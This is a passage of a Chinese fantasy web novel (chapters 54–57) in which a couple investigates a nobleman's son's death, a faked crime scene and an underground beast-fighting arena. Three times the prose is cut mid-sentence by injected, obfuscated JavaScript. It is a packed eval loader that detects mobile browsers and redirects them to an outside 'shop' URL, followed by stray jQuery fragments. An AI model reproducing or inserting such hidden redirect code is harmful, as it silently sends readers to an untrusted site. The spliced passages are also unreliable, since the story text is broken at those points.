他经过书库时便被极不稳定的魔力波动吸引,没想到竟然是一个陌生的小孩。 “真有意思啊?这么奇怪的小孩子到底从哪里来的呢?” ……… 奥菲莉亚的反应十分及时,来试探她的正是防线的监视官叶夫根尼。好在她没有说太多话,叶夫根尼没有抓到破绽,而八面玲珑的海姆也妥善应对了这位监视官的质询。 唯一需要改进的,就是监视官先生觉得让一个小女孩独自待在书库有些可怜。海姆便顺水推舟,把那两个被软禁起来的实习学生送到了书库。 亚瑟、罗杰和奥菲莉亚就在泰西防线的书库里相依为命起来。 54. 吃人的魔兽 阿纳托利和莱安娜一起参加了本次任务的会议,由教皇麾下的神使团负责人来主持讲解,原负责人裴迪神官因为在布鲁城守卫不力被停职了,副手便迅速抓住机遇。 会议大概讲了下案件情况、目前的调查进展。最为关键的是强调了教皇陛下对本次任务的需要——活捉这只稀少的掌握隐匿魔法的魔兽以及尽快恢复地脉能源的正常供给。 对教会来说,没有比极具价值的魔法更重要的事,连贵族的性命也可稍微往后靠靠。不过贵族方的代表对于留这魔兽一命非常不满意,并且强调了查理品行端正,绝非报告上的吃喝嫖赌之徒,要求阿纳托利还这孩子清白,说明其在贫民区死亡的真正原因。 所以在意义不大、信息冗杂的会议之后,阿纳托利在本次任务中有三个目标:恢复地脉能源供能的秩序、活捉魔兽、以及查明子爵儿子之死的真相。 而对于阿纳托利选择自己的妻子阿琳娜作为自己的翻译和助手这种微末细节,并没有人反对。 议会和教皇会给防御司十五天处理这件事,必须分秒必争,他们下午就必须到前往地脉异常的地点。 在这之前,阿纳托利需要和其他同伴确定好其他工作的分工,列昂尼德会携带莱安娜的信物前往东区,提前和东区临时负责人格里卡尔接洽。 斯捷潘会和露比一起以合作农用魔导器研发为名,完善新型魔导器。马克西姆则会在下午和阿纳托利、莱安娜一起出发。 “我建议此事从能源供应区开始调查,毕竟恢复供能是最教皇最在意的任务。”莱安娜如是建议道。 阿纳托利:“我更倾向于从子爵孩子死亡的现场调查,虽然这个任务的优先级在后,但子爵之子查理是唯一还有尸体的受害者,我和马克西姆能从尸体的痕迹推测出魔兽的体型、攻击方式。” 莱安娜明白了阿纳托利是想为活捉魔兽做准备,只要顺利抓到了魔兽,能源供应区的骚乱得到解决,地脉供能也会更快地恢复正常。 她点了点头,二人坐车回到宅邸准备接上马克西姆立刻出发,但治安骑士团的一名调查员已经率先在宅邸等着他们了。 那人是位很健康的年轻男性,看上去比阿纳托利大不了几岁,身形不算高大,但脊背绷得很直,一头棕色的卷发,栗色的眼仁亮晶晶的,在他宽大的脸颊上看着格外有神,甚至让人忽略了眼下的淤青。 “您好,阿纳托利司长,我是安全部的调查员,之前由我负责查理案件的调查,我们长官指派我负责本次案件的协助工作,希望一切顺利。” 他说着将手中的证件和任命书递给阿纳托利,阿纳托利微笑着接过,同时望了莱安娜一眼,有些犹豫。 莱安娜思索了几秒后朝他微微点了下头,阿纳托利这才开口:“那希望我们能顺利查清本案。” 四人分坐两辆车出发前往圣都边缘的案发地点。 刚上车阿纳托利就低声说出了自己的困惑之处:“我们查的这个案件原本就是安全部的废案,他们不该巴望着没人查清吗?怎么会主动为我们提供帮助?” 莱安娜:“因为本案牵涉众多,安全部并非没有查清,只是不敢担责这才糊弄其辞,结果上写的有待查明,但现在你来了。”莱安娜的语气有些沉重。 阿纳托利:“所以他们派出调查员,如果有功劳分一杯羹,还可以把我作为第一责任人推出去,如果失败那就太好了,不会有人指责他无能,最后还是要仰仗伟大的维斯特利亚陛下。” 阿纳托利忍不住自嘲地笑了笑,自己这把刀还真是好用,人人都想来借一下。 莱安娜也很无奈:“是的,他们这样的算盘可能性很大。所以之后查案过程我会详细记录,不然最后递交结果的扯皮可有我们受的。” ······ 车辆停在了平民窟外围,平民窟还有个名字——缄默区。 乔恩解释,如果不想调查过于引起注意,他们最好步行入内。他一边解释,还一边拿出了三条看着灰扑扑的肥大斗篷。 “我知道这不太体面,但穿上这个可以让我们更好地融入其间。” 三人很快接过他的斗篷,跟着他朝缄默区深处走去。 缄默区其实就是圣都的贫民窟,阿纳托利很早就来过这里,多年前当人质的时候他曾经在各种地方收集情报。多年过去,这里似乎没有任何变化,仍是一片死气沉沉,像是被人们忘记了一样。 乔恩指引他们来到了死亡的现场,是一个巷子口。 现场保护得还算完整,查理的尸体已经被家族带回,尸体的信息乔恩那里有详细的卷宗记录,马克西姆可以进行核对解析,阿纳托利来此的目的是确认调查现场的痕迹。 在他核对痕迹的时候,乔恩将携带有尸体信息的留影石交给了马克西姆。 墙面正中间有一片血迹,正下方有喷溅状的血迹,正前方的空地上有大量抛甩状血迹。地面还有其他杂乱的爪痕。在墙角还有不少兽类的骸骨。 “我们安全部之前认为,查理少爷来这个神殿时意外碰到了躲在这里进食的魔兽,这才被袭击。魔兽咬住了他的躯干撕咬摇晃,所以地面上会有抛甩状的血迹,随后他被扔到了墙面滑在地上,因为动脉血管破裂形成了喷溅状血迹······” 阿纳托利听着他的推理点了点头,他对血迹是十分熟悉的,乔恩关于伤口的分析他没有不同意见。但血迹是可以伪造的,而且还有几个疑点。 “被害人为什么会出现在贫民窟?关于被害人来此地的动机你们有调查过吗?”阿纳托利试探道。 “这个······”乔恩有些面露难色。“我们调查过,报告里其实有写,但子爵一家并没有接受。” 他无奈地叹了口气。 “这个巷子通向灰烬乐园,圣都所有的灰色娱乐和营生里面可都玩了个遍,查理少爷出现在这个区域还能是为了什么呢?” 这倒是解决了阿纳托利一个疑惑,为何查理案调查出了前因后果,但安全部没有公示,而且会议上的贵族代表们仍要求“查明”一个真相。 因为查理的家族不能接受调查结果,这群好面子的贵族怎么能接受家族继承人混入贫民区吃喝嫖赌,结果倒霉地被路过的魔兽咬死。案件要是以这种结果公示,家族必然成为笑柄。 安全部在施压下才选择了将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049474|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案件调查结果定为有待查明,也算维持了各方体面。 但谁能想到这魔兽身上竟然有敏捷和隐匿的特性呢?教会要活捉这个家伙,连带着将这桩安全部有意搁置的旧案也翻了起来。 乔恩见阿纳托利没有说话,继续补充道:“长官,真不是我们安全部渎职,这个案件早就有定论了,但那群老爷一直不接受调查结果,嚷嚷着他们的孩子不可能做这种事,这案子要结案其实也容易,但要给那个被害人编造一个来此地的动机,想来那群贵族就能接受了,但这是违规的。” 他话语间竟然有些委屈,没等他说完,身后响起了冰冷的女声。 “您说那群贵族老爷?乔恩先生没有爵位吗?” 乔恩回过头,莱安娜正盯着他,这位女士一路上没说什么话,乔恩以为她定然是唯唯诺诺的内向性格,他几乎没怎么注意这个不怎么起眼的记录员,谁能想到对方一开口就是有些冒犯的问题,她似乎在试探自己对于贵族的态度? 他朝莱安娜礼貌地点了点头。“二位见笑了,我只是平民,因为身体素质不错侥幸选入骑士团的调查部。” 他语气是恭敬的,做足了面子,但内心有些不快,他并不喜欢那些把贵族高高捧起的人。 “乔恩先生不必妄自菲薄,圣都的考核有多么严格大家都心知肚明,您的工作能力一定相当出色,一定也很细致······不知您是否还留存了查理家族反对案件结果的意见书,他们不可能口头反对吧?但为什么我们收到的卷宗里面没有呢?” “当时所有材料都是有保留的,留影石中有所有资料······卷宗里没有,或许存在遗漏,两位或许可以看这个。” 他拿出了另一枚留影石递给莱安娜,说这话的时候显然底气少了两分。 莱安娜快速浏览着资料,混杂在笔录中确有家属的意见书,她招呼阿纳托利过来看。 快速阅读后阿纳托利率先发问:“他的家人们声称查理是位品学兼优的孩子,也很少外出,这一点你们调查部门有核实吗?” 乔恩摇了摇头,坦言道:“在我们的侦查里个人品德是不纳入案件侦查的推理和考量的。” 阿纳托利知道这是在讥讽自己是个外行,认真地看着对方:“我知道品格不能计入证据,了解这一点只是为了分析被害者动机,您不必为我科普诉讼法。” 乔恩这才严阵以待起来,眼前的两位可都比他预想中棘手得多。 他认真地解释着:“当时也有调查员核实过,他在学校的表现一切正常,甚至成绩优异,但安全部确实有他多次出入灰烬之地、歌剧院等娱乐场所的证据,我认为他并非无辜良善之辈。” 阿纳托利没有说话,乔恩小心翼翼地试探道:“您对我们之前的案件调查还有疑问吗?我可以解释。” 阿纳托利:“我没有其他疑问了。” 乔恩:“那现在是按照原处理结果记录?我回去禀报我的长官……” “不,乔恩先生,虽然我对案件暂时没有疑问,但魔兽还有些细节得确认,调查还没有结束,我们今晚在这里留宿。” 乔恩有些惊讶,但没说什么。 55. 吃人的魔兽 当晚他们四人就入住了附近的旅馆,虽然乔恩就环境简陋的问题反复警告过莱安娜等人,三人早有心理准备,但真正看到的时候也大吃了一惊。 阿纳托利甚至担心晚上睡觉时,如豆腐渣工程般的破床板会不会裂开。被褥又薄又硬,还散发着油臭味。莱安娜准备将被褥扔进柜子里,却在打开柜门时呛了一鼻子灰。 “还好我们原本就计划夜间单独去调查,用不上这些东西。” 阿纳托利乐观地说。 莱安娜白了他一眼后,用袍子裹住外衣,小心翼翼的坐在床缘,压低声音说: “那个调查员有问题。你在看血迹的时候我一直在观察他,他非常紧张;在说调查结果的时候,他的话非常有导向性,他似乎希望你能立刻认定查理死亡的前因后果。想要引导你确定查理来此地的动机,从而坐实查理吃喝嫖赌后意外死亡这一结果。” “但是为什么呢?他作为调查员这样做的目的是什么?” “让查理身败名裂?”莱安娜摇了摇头,“但根据资料他们两人生前连见面都没有见过才对,应该没有仇怨才对。” 她思索了一会儿确实没有头绪,抬头看向阿纳托利:“你呢,你有没有发现什么不对劲的地方?” “第一个异常是兽骨。” “兽骨?” 莱安娜有些意外,这个细节是她完全没有注意到的。 阿纳托利:“查理有可能是为了寻欢作乐来到这个偏僻的巷子,但魔兽为什么会出现在这里?是为了寻觅无人的地方进食。” “那角落里有兽骨不是很合理吗?” “缄默区大家的生活都不容易,肉制品很少,最多能养一到两只鸡,但出现在角落的显然是猪骨或者牛骨这种大型动物。附近哪有家庭可以养殖?这里的屠宰场倒是有可能有,但屠宰场和灰烬乐园可是在完全不同的方向。” 他说到这里莱安娜已经全明白了。 “魔兽捕猎成功会就近进食,虽说这个巷子符合魔兽藏匿的要求,但离食物获取地太远,违反生物本能。” 阿纳托利:“是的,而且这个巷子距离灰烬市场不到五十米了,它潜藏在此处进食是需要时间的,为什么这段时间只有查理经过?太巧合了。” “这样说起来,这里的兽骨简直像是刻意给出的理由,解释魔兽为何在此……那吃喝嫖赌倒像是一个合适的、解释查理出现在此的理由……你怀疑这是伪造现场?” 莱安娜转头看向阿纳托利,他点了点头。 “等我核对完投影中的伤口、还有笔录中的目击者看见的那只魔兽就可以确认了。然后我们就出发着手调查灰烬乐园和真正的案发地点。” 阿纳托利再一次核对了伤口,果然有蹊跷之处。 根据目击者的笔录描述,那只魔兽是中等大小的鸟型魔兽,正常情况中等大小的魔兽咬合力绝对能够一口咬断人肢体,但根据阿纳托利的经验,鸟形魔兽保留了鸟类的特性,他们并不会直接咬掉对方的肢体,往往更喜欢把猎物从高处摔下、或者直接用他们坚硬的喙捅猎物一个窟窿。调查部门直接和魔兽打交道的案件很少,这才没有人发现端倪。 “如果目击者没有做伪证,那就可能是引导小型魔兽出现在尸体附近造成的假象……不过这应该很难做到,我暂时想不到凶手的手法。但至少可以确定,查理并非是死于小型魔兽的袭击,他身上的伤口是大型魔兽造成的。” “但不可能有两只魔兽才对,也不太可能存在流窜的大型魔兽。它们的攻击力那完全有可能打破圣都和缄默区的安全门,早就闹出更大的动静了。” “是的,圣都按常理不可能有这样的魔兽。这也是我思路断掉的地方。” 阿纳托利有些无奈,其实除了这个问题之外,还有诸多疑问没有答案,比如为什么乔恩要伪造现场?他和查理有私仇吗?查理到底为什么会出现在缄默区?阿纳托利隐约觉得,只要能弄清楚这几个问题,就能完整地梳理出整个案件的来龙去脉。 莱安娜也坐在床边思索,随后她像是想到了什么,突然抬起头盯着阿纳托利。 “如果没有流窜的大型魔兽,自然不可能有尸体,有没有可能,尸体也可能是伪造的?但是从尸检报告上来看,伤口确实是魔兽造成,而且死亡时间吻合,这说明替换的尸体不可能是从外城运来的,只能来自城内,但是城内哪里能找到魔兽致死的尸体呢?”莱安娜推测道。 阿纳托利回忆了一会儿后才开口:“我想到了一个地方或许有这样的魔兽,地下交易中心。” 屏障以内不可能有流窜在外的魔兽,但圣都还有管控起来的魔兽,教会实验研究收容起来的魔兽不在莱安娜他们怀疑的范围,那些魔兽被严格管控,不会和人类有接触;但地下交易中心可就不一样了,那里有斗兽场的娱乐项目,自然可以产生带有痕迹的尸体。 两人对视一眼,确定了那就是他们接下来的调查目标。 过了不到半个钟头,他们的房门就被马克西姆敲门 “乔恩我搞定了,你们快去调查,我在这里看着他。” 莱安娜和阿纳托利在离开前特意去马克西姆的房间门口看了眼乔恩的情况,马克西姆不知给他放了什么药,他已经意识全无了。 确认了安全,他们俩便裹着袍子,踏进了所谓的灰烬乐园。 这里和外面的差异很大。 如果说外面是死气沉沉,这里就是混乱无序。 外面的空气带着尘土的味道,这里的空气却弥漫着一种诡异的、让人想作呕的腥甜。路边的人像是完全丧失理智,竟然直挺挺地躺在路上,一边笑一边不知道在嘀嘀咕咕着什么。还有不少人如同喝醉了一般拖着躯体在路上走过。 “这是喝了多少?看来这前方或许有不少酒馆”阿纳托利压低声音说。 “他们不是喝多了,阿纳托利。”莱安娜转过头看着他,“他们应该是服用了某种药品······” 看着莱安娜沉痛的眼神,阿纳托利才反应过来“药品 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053847|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”是什么东西。 他在泰西防线待了八年,从前团长开始就严禁所谓的“止痛药”、“仙酒”进入辖区,从圣都离开后,他几乎就没有再见到过这种东西,一时间竟然没有联想起来。 “他们不该碰这种东西的,一旦沾上这种东西那才是彻底没救了。”他说着,突然觉得手上一冷,莱安娜安慰似的握了握他的手,神情复杂。 “莱安娜,我以为这些年圣都对这种东西的管控会更严格才对,在北地伊莉雅近年来颁布了明确的禁令,我记得圣都当年有位议员明确提出过······” “我很遗憾,如果你说的是埃里克,他已经死了。”莱安娜语气沉重,阿纳托利闻言呼吸一滞。 “统一禁令的提案没能通过,越来越多地区做出了折中的妥协,在教皇控制下的圣都选择了适用禁令,但不少其他地区的领主选择了睁一只眼闭一只眼,因此禁药交易这几年在地方根本无人管理,能在圣都看见这种景象,说明某些胆大包天的贵族竟敢对教皇阳奉阴违,敛财的手伸到了圣都。你可以在案件结束后递交提案,虽然教皇并不在意贫民的生死,但她可不喜欢自己的领地被别人染指。” “禁药在地方上已经到了泛滥的程度了?”阿纳托利的语气很是沉重。 “我没有权限探查他人领地的这种数据······不过,至少在东区这种毒物是绝对禁止的。” 她拍了拍阿纳托利的手背。 “很多事情,你我尽力即可。”她轻声说道。 阿纳托利看着眼前还故作平静的人,内心有些不是滋味。为什么维斯特利亚、亨利除掉莱安娜时能够找到愿意提供帮助的雇佣兵组织? 按理维斯特利亚他们完全能够在教廷内部找到执行斩首行动的合适人选,联系第三方组织显然做好了万一事情败露找人背锅的准备。通常盘踞在三不管地带的灰色组织不会干涉这种事,为什么这些组织会同意参与对莱安娜的暗杀? 一切都有了答案。 因为她把东区保护得很好,这片没有被染指过的市场不知道多少人眼红着。无论是之前的魔导器公有化、还是最近的新型魔导器研发、这种“药品”的禁止令······一个不愿意妥协的主教,挡了太多人的路。 阿纳托利不自觉地将对方的手握得更紧了一些,如果不是理智尚在,他想直接问莱安娜,从她兄长死亡后?到底发生了哪些事? 但他很清楚,这些问题并不在他和莱安娜合作的范围,问了也不一定有答案。而且已经发生过的事情,自己现在又能做什么呢?说不定只会徒增对方的不快。 思来想去,他只能没头没脑地说了一句:“对不起。” 这倒是整得莱安娜一头雾水,她皱着眉一时不知道该如何回应。 对方这是什么意思?愧疚?难过?同情?他倒什么歉? “算了,反正他在其他事情上对我确实有所亏欠。” 她想着,最后还是保持了沉默,心安理得地把手握得更紧。 56. 斗兽场下注 阿纳托利和莱安娜打听到了位置后,来到了地下交易中心的斗兽场。 他们怀疑查理的尸体是被斗兽场死者的尸体替换了,所以现在需要确认同一时间斗兽场伤亡的情况。 管理人员显然不太可能告知他们这种信息可能性,但如果是询问参赛者呢? 基于这样的考虑,他们计划从打完比赛后的勇士口中获取情报。 二人戴着主办方提供的面具坐在了笼子外,笼子内是一只蛇型魔兽和三个人的厮杀表演。 能看出这种蛇应该是炎热地区的蚺类,本就体型硕大,异化后他不仅体型更加庞大,攻击性更强,鳞片也变得异常坚硬,战士的武器划过它皮肤时发出如金属碰撞的声音,却连一点痕迹都没有留下。 蛇类本不靠撕咬捕杀猎物,但这条巨蛇张口的时候却露出了如恶犬一样的森森白牙。猩红的眼珠子仿佛要淌出血来。它摆出一副进攻的姿态,摇摆的信子释放着危险的信号。 但它面前的三位斗士却只带了三把普通的剑和盾,阿纳托利确信眼前三人不过初阶魔导师,却要对抗中阶的魔兽。 “这种实力悬殊的战斗根本不是竞技,这是屠杀。”莱安娜摇了摇头,压低声音说道。 她话音刚落,笼内的死斗已经开始,蛇尾飞快地一扫,两人躲过了攻击,末尾的可怜人被尾尖缠住了脚踝,一眨眼的功夫就被狠狠砸到笼子的高处摔落下来。 “林恩!” 他同伴呼唤着他的名字,提醒他即将到来的攻击,但他已经没有了多余的力气。腹部火辣辣地疼,他猜测自己肋骨折了。 林恩闭上了眼睛等待着死亡的降临。 但被绞杀的痛感并没有如期而至,两位伙伴挡在了他的身前。 “西恩?”他有些不可置信。 名为西恩的青年拿着盾牌扯着他滚到了一边。同时大声呼喊: “比尔!眼睛!攻击眼睛!” 站在最前方的比尔借着魔兽冲过来的机会,灵巧地侧身,躲过了那长满犬齿的血盆大口,那怪物咬空的瞬间,牙齿碰撞的声音格外阴森。 比尔看准时机,手持匕首用尽全力扎了进去,紫黑色的血汩汩地冒了出来。 他念叨着咒语,魔导器瞬间发动,他尝试把短剑扎得更深一些。 比尔听到了微弱的“啪嗒”声,他勾起嘴角,刚刚那是骨裂的声音,攻击有效。 “嘶嘶嘶……” 魔兽并没有像他预想般瘫软下去,而是猛地一甩头,连带着比尔撞向笼顶,比尔见识不妙立刻松手,从它头顶滑了下去。 特制的牢笼发出砰的巨响,若是比尔没有及时松手,恐怕现在已经被压得血肉模糊。 阿纳托利和莱安娜不由得为他捏一把汗。 正在此时,他们的视野内却撞入了一个半弯着腰的服务员。他带着灰色的面具遮住了左半边脸,脸上的微笑和面具上的下撇的嘴巴形成对比,整张脸看着诡异至极。 “这位女士和先生,二位是否要下注?” 那个面具人一边说着,一边把单子递给了莱安娜和阿纳托利。 单子分了魔兽和勇士两栏,但在魔兽栏的下方还有一等二等三等好几个分区。 “这是什么意思?”阿纳托利指着这个地方问道。 “啊,您是你一次来的客人呢,那是尸体损伤程度的分类……至于为什么要在这里细分,因为很少有勇士赢的时候,大家赌魔兽赢的时候太多了,我们不得不细化一下这个栏目,否则生意也太难做了不是吗?” 那人的语气是那样欢快,像是在夸耀他们想了个多么不错的方案一般。 莱安娜听见了阿纳托利握拳时关节发出的声音,她拉了下对方的手,示意他冷静。 随即面带微笑地开口了: “我不想下注,这太没意思了,我有其他的需求,多少钱我都可以支付。” 面具人的笑容一滞,随即问道:“这位女士您请说。” “我要雇佣这三位勇士作为我的玩伴。” 她歪着脑袋看向面具人,语气散漫而慵懒,但言语间的内容是不容商量的意思。周围的人循声看来,眼神中流露出惊讶的目光,神情复杂。 阿纳托利心中一面给莱安娜的演技竖大拇指,一面尴尬得想撞墙,在周围灼热的目光和打量中他的脚趾都快把鞋底抓烂了。 “这位女士,您是要帮这三位和我们解约吗……恕我直言,这并非明智之举。您需要为他们支付一大笔违约金,他们三人只是普通的战士,如果需要玩伴的话,我更推荐您移步万花筒,无论是容貌还是业务能力他们应该更能讨您欢心。” “万花筒吗?确实很漂亮,可惜绣花枕头太多了,黑暗笼罩的时候谁在乎那模糊不清的面孔?”她相当不满地摇了摇头,随后一把挽住了身旁的阿纳托利。 “我喜欢这种类型,我看笼子里的那三个小家伙也很可爱,我就要他们。” 她语气雀跃,轻轻抬起手,指着笼子,像是在欣赏几只扑腾翅膀的小鸟。 周围的人忍不住窃窃私语,好奇的目光从阿纳托利身上扫来扫去,像是甩不掉的水蛭。 在被无数目光灼烧的阿纳托利这才意识到,自己的演技有多糟糕。别说让他向莱安娜一样说出这些话,他只是保持沉默坐在莱安娜旁边,就已经相当不自在了。完成任务的意志和羞耻心在疯狂地打架。 周围落下无数视线,紧密的凝视像是压抑的囚笼,身在其中的他变成了什么可以随意宰割的畜类、可以分割的财产,只要莱安娜一离开,这些人就会一哄而上。他明明是个活生生的人,却在这种目光下越发感觉自己像是一件物品,这种感觉和他在战场上被魔兽盯上是类似的,那是一种被挑选、被猎杀的威胁感,他很讨厌这种感觉,不,应该说正常人都会讨厌这样的感觉。 在他努力做着思想建设的时候,那个面具人已经和莱安娜商量完毕了。 “我了解您的想法了,尊贵的客人,但您带走这三位勇士会影响赌局的继续,很影响其他人的体验,请恕我们不能接受,您要雇佣他们也必须等他们打完比赛之后。” 他这话说得没有余地,莱安娜知道斗兽场赚钱的规矩肯定是不会轻易改变的。 “影响赌局?” 她抓到了关键,便又端出那副满不在乎的眼神笑着说:“但如果不影响各位的赌局呢?不妨改一改这次的标准,把输赢标准由原来的生死改成坚持时长,若是他们能够在这魔兽面前坚持十分钟就算赢,然后我会帮他们解约。按死状划分等级才多少种?按时间划分种类不是可能性更多吗?” “请您稍等,我立即告知我们的上级。” “有劳,但得尽快哦,我讨厌不确定的等待。” 莱安娜摆了摆手,语气中竟故意掺了几分不耐烦。 那人下达了中止比赛的指令,那只魔兽被隔开了,而笼子内的三个人有了喘息之机。 在面具人快步离开后,莱安娜才压低声音说:“别担心阿纳托利,按照我对他们的了解,他们不会错过赚这笔钱的机会的,我们可以救下这三个人,而且还能从他们口中询问竞技场最近伤亡的情况……” 阿纳托利:“嗯,那挺好的。” “这语气?” 莱安娜皱起眉来,心里暗道不妙。 她确信自己的直觉,虽然阿纳托利面不改色,但刚才那句话太微妙了,分明就是在闹别扭。 “明明刚才表演一点没出力的人是他吧。” 莱安娜有些没好气地松开了他的手,不满地盯着他:“你在这时候闹什么脾气,我们还有正事要做!而且我们多大了?你以为我们还是十五六岁吗?” 她不自觉地提高了音量。 “我没有闹脾气。”阿纳托利淡淡地反驳。 他们俩前面的离得很近的观众突然笑出声来,转头看向她俩。 那位女士朝莱安娜笑着说:“年轻人,你的小宠物生气啦,怎么能当着他的面选择其他玩伴呢,未免太不体贴。” “你才是小宠物!” 阿纳托利瞪了她一眼。 “噢呦,脾气还挺臭,难怪你栓不住主人的心,她马上就要有新宠物了,还是三个,你自求多福吧。” 那女人撇了撇嘴,满不在乎地把头转了过去。 “你!”阿纳托利似乎还想说什么,莱安娜一把拉住他。 “你怎么演着演着还入戏了呢?”她有些没好气地反问。 阿纳托利深吸一口气。他知道自己刚才有些不理智,但自己为什么这么情绪化? 半晌后他才开口:“抱歉。” “打住,我知道你脸皮薄了,这次是特殊情况,如果还有下次,那我们就换过来,这样就公平了。” “不是的。” “嗯?” 莱安娜不太明白眼前这人想要什么?他什么时候变得有点拧巴的? “不是换过来的问题,我说不上来莱安娜……反正不要有下次了。” 他压低声音小声地说道,然后小心翼翼地抬头看了她一眼,这种眼神让莱安娜不禁联想到了毛茸茸的大型犬类,她也知道自己的想法有些荒唐,但还是伸出手揉了揉阿纳托利的脑袋。 “好啊,我答应你。”她笑着说。 正在这时,面具人回来了,莱安娜瞬间把手抽了回去。 “尊贵的客人,我们的上级同意了您的请求,他们已经坚持了五分钟,再过五分钟后,您可以带走活着的人,这是我们最大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057015|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的诚意了。” “成交。” 莱安娜看向笼内,她已经尽可能给这三个人争取了。 “游戏继续!” 哨声响彻场内,厮杀再次开始。 最终三人拼劲全力又拖到了规定时间,笼顶落下的屏障将巨蛇困住,给匍匐在地上的人留了一线生机。 莱安娜从口袋中掏出了高阶魔兽的魔晶,为这三个年轻人清偿了违约金,并一副胡搅蛮缠的样子要求斗兽场为这三个人提供治疗,她说什么也要活的。 最终这三个人戴上了枷锁,跟着莱安娜和阿纳托利走出了斗兽场。 她和阿纳托利正准备找个没人的地方询问三人关于最近伤亡情况,没想到刚出门,就有不少人聚集在此,目光直勾勾地落到了她身后的阿纳托利身上。 有位女士很是直接,一个箭步走了过来,无视阿纳托利直接牵起莱安娜的手。 “您好,虽然有些冒昧,但您在竞技场展现出的品味我十分认同……” 她目光热切,连厚脸皮的莱安娜也尴尬得笑不出来了,只得硬着头皮说了声谢谢。 “这位女士,你既然已经找到新玩伴了,不知是否愿意出让您身旁这位?价格我们可以慢慢商量。” 莱安娜大受震撼,同时瞥了眼旁边的阿纳托利,只觉得空气顿时都凝固了起来。 但在这位大胆的女士还还没有说完,她身后就响起了其他声音: “别只听她一个人的!我也要报价!” “不该先到先得,应该价高者得啊!” “公平竞争!” 耳边的声音有男有女,无数灼热的视线都指向阿纳托利。莱安娜觉得眼前这画面实在太诡异了,哪怕她自认为心理素质已经很好了,还是忍不住起鸡皮疙瘩。 “抱歉,不出让,这是自留款……” “真的不可以吗?” 那位女士失望地看着她,手仍然攥得死死的。 莱安娜试图把手从面前这个女士的手中抽出,正准反驳,而旁边阿纳托利的忍耐已经到了极限。 “出让什么出让!一群疯子!我是她丈夫!” 莱安娜面前的女士听了这话,眼神震撼到无以复加,同时瞥了眼跟在两人身后的三个小年轻,不由得下意识后退半步。 “女神在上!” 幸福的家庭总是相似,变态的家庭各有各的变态。 果真是人外有人天外有天,强中自有强中手,和眼前这位博爱的女士相比,自己那点感情债压根算不得什么了,浸泡情场多年的她竟然在这一刻也显得无比青涩。 她不由得生起一股敬佩之情,又一次紧紧握住莱安娜的手:“亲爱的,告诉我,你是怎么说服你的丈夫接受这一切的……” 阿纳托利痛苦地扶额,只觉得这样下去越描越黑,准备拖着莱安娜赶紧离开这荒唐的一切。 人群中却响出了别样的声音。 “你傻不傻!还问她怎么说服丈夫的?那个灰头发的一看就不是什么正经人!这年头给点情人好脸色他就以为自己真有身份哩!不就是生了张好脸吗?瞧他那小白脸的样,一看就是……” 一个中年男子一面抖落烟灰,一面十分蔑视地瞥了阿纳托利一眼。 这种蔑视常被某些先生使用,他们擅长用一切不堪的勾当来揣测刺痛了他们脆弱自尊的人。 “你少污蔑人,我就是她的丈夫!” 阿纳托利提高了音量,但话音落下后一片寂静,随即人群爆发出快活的笑声。 “……” 阿纳托利这辈子就起过几次杀心,这是其中之一。 见他眼神已经变了,莱安娜赶紧从那位女士纠缠中脱身,一把揽住阿纳托利。 “冷静!拜托你了!一切都是为了顺利完成任务!我起誓绝无下次!不会再让你的人格和荣誉受损了,不能在这里动手啊,阿纳托利!” 她压低声音说道。 因为贴在阿纳托利身上,她能感受到对方深吸了一口气,但不知道他的情绪有没有缓过来。 三秒后他才机械地答应了一声:“好。” 莱安娜仰起脑袋,看他眼神恢复了平静,这才半信半疑地松了手。 她刚松手,对方就一脸骄傲地拽住了她的胳膊,不知道在自证什么。他昂首阔步,简直像一只神气的大白鹅。 周围人群见状也知道收购无望,只得悻悻散开。 就在两人快从这荒唐的人群中离开了,在缄默中不知道是谁说了句:“真厉害,都当着他面收了三个人了,还这么忠心耿耿,果然每条狗都有各自的栓法……” “滚啊!” 阿纳托利的面孔因为盛怒而扭曲起来,莱安娜发誓她这辈子头一次见。 57. 死去的骑士 比尔三人跟在莱安娜和阿纳托利身后。 在斗兽场内,他们为了保持身体的敏捷,衣着轻薄,而且场内为了各位观众的体验,赛场上较为温暖。因此现在迎着初冬阵阵寒风,三位年轻人不由得打了个寒战。 这份刺骨的寒意提醒着他们已经离开了那个生死一线的地方,但他们没有如释重负般的欣喜。 说实话,三人的心情简直就是从虎穴跳到狼窝一样的绝望。 他们还记得面具人的话。 “这位好心的女士愿意帮你们解约并支付违约金,你们是否愿意呢?” 那位女士穿着一条简洁却端庄的深色裙子,看上去并不奢华,但桌上摆着的那枚魔晶无声地宣誓着她的实力。她不止富有,而且一定和顶级的魔法师有关系。 她昂起下巴,一副矜贵十足的派头: 